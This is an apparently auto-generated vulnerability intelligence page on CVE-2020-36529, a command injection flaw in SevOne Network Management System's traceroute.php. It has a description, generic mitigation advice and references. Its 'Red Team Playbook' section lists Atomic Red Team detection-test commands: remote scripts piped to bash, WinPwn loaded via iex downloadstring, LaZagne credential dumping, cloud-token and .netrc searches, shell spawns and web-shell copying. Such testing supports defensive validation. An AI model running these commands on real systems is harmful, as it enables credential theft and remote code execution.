CVE-2020-36529
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the traceroute.php file of the Traceroute Handler component in SevOne Network Management System versions up to 5.7.2.22. The flaw arises from the unsafe handling of user-supplied data, allowing injection of arbitrary commands executed with elevated privileges. The vulnerability specifically affects the mechanism that processes traceroute requests, enabling unauthorized command execution within the application context.
Vulnerability Description
A vulnerability classified as critical has been found in SevOne Network Management System up to 5.7.2.22. This affects the file traceroute.php of the Traceroute Handler. The manipulation leads to privilege escalation with a command injection. It is possible to initiate the attack remotely.
Impact
An attacker with low privileges can remotely execute arbitrary commands on the affected system, leading to privilege escalation and full control over the SevOne Network Management System environment. This can result in unauthorized access to sensitive network management data, disruption of monitoring services, and lateral movement within the network. The attack requires network access and low-level authentication (PR:L), with no user interaction needed (UI:N), as indicated by the CVSS vector AV:N/AC:L/PR:L/UI:N.
Solution
IBM has addressed this vulnerability in SevOne Network Management System with updates beyond version 5.7.2.22. Administrators should apply the latest patches provided by IBM as detailed in the advisory referenced at http://seclists.org/fulldisclosure/2020/Oct/5 and https://vuldb.com/?id.162261. These updates include secure input validation and command execution handling in traceroute.php. No specific workaround is documented; prompt application of the vendor patch is recommended to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the SevOne Network Management System, specifically within the Traceroute Handler's file, introduces a critical risk characterized by privilege escalation through command injection. This flaw allows an attacker to manipulate input parameters to execute arbitrary commands on the underlying operating system. The vulnerability arises from insufficient validation of user inputs, which can be exploited to inject malicious commands that the system executes with elevated privileges. This type of vulnerability is particularly concerning as it can be exploited remotely, allowing attackers to bypass security controls without physical access to the affected systems.
Attack vectors for this vulnerability are primarily web-based, leveraging the Traceroute Handler's functionality to accept user inputs. An attacker could craft a malicious request that includes specially formatted data, triggering the command injection. For instance, an attacker might send a crafted HTTP request that alters the expected behavior of the Traceroute Handler, leading to the execution of arbitrary commands on the server. This could be done through various means, such as exploiting misconfigured web servers or utilizing social engineering tactics to lure users into executing malicious scripts. Once an attacker gains elevated privileges, they can manipulate system configurations, exfiltrate sensitive data, or deploy additional malware, significantly increasing the potential impact of the breach.
The real-world impact of this vulnerability is profound, particularly for organizations relying on the SevOne Network Management System for critical network performance monitoring. Successful exploitation could lead to unauthorized access to sensitive network data, disruption of network services, and potential data breaches. The business risks associated with such an incident include financial losses, reputational damage, and regulatory penalties, especially if sensitive customer data is compromised. Furthermore, the ability to execute arbitrary commands could allow attackers to pivot to other systems within the network, broadening the scope of the attack and complicating incident response efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the SevOne Network Management System to the latest version is crucial, as vendors typically release patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Organizations should also conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and remediate potential weaknesses in their systems. Finally, educating employees about secure coding practices and the importance of input validation can help prevent similar vulnerabilities from being introduced in the future.
In conclusion, the critical vulnerability in the SevOne Network Management System poses significant risks to organizations that utilize this software for network performance management. The potential for remote exploitation through command injection highlights the need for robust security measures, including timely updates, proactive monitoring, and employee training. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can better protect themselves against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ibm | Sevone Network Performance Management | All |
cpe:2.3:a:ibm:sevone_network_performance_management:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-36529 |
| seclists.org |
GitHub CVE
x_refsource_MISC
|
http://seclists.org/fulldisclosure/2020/Oct/5 |
| vuldb.com |
GitHub CVE
x_refsource_MISC
|
https://vuldb.com/?id.162261 |